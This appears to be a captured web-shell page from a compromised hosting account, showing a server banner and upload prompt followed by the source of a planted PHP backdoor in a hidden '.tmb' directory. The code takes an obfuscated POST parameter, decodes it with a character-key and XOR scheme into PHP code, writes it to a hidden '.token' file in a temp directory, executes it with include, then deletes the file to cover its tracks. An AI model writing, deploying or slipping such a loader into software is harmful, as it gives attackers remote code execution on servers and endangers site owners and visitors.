|
Server : LiteSpeed System : Linux srv526460274 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64 User : kerao9884 ( 1082) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/kera789.org/public_html/.tmb/ |
Upload File : |
<?php
if(@$_POST["\x76a\x6Cue"] !== null){
$bind = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]);
$object = $_POST["\x76a\x6Cue"];
$object = explode ( '.' , $object);
$element = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);
foreach ($object as $t=> $v9):
$sChar = ord($s[$t % $sLen]);
$dec = ((int)$v9 - $sChar - ($t % 10)) ^ 52;
$element .= chr($dec);
endforeach;
while ($holder = array_shift($bind)) {
if (is_writable($holder) && is_dir($holder)) {
$desc = join("/", [$holder, ".token"]);
$file = fopen($desc, 'w');
if ($file) {
fwrite($file, $element);
fclose($file);
include $desc;
@unlink($desc);
die();
}
}
}
}